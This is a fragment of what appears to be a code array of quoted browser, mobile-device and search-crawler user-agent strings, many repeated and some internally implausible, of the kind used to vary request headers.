'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
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'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
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'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
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'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
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'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
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'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
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'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
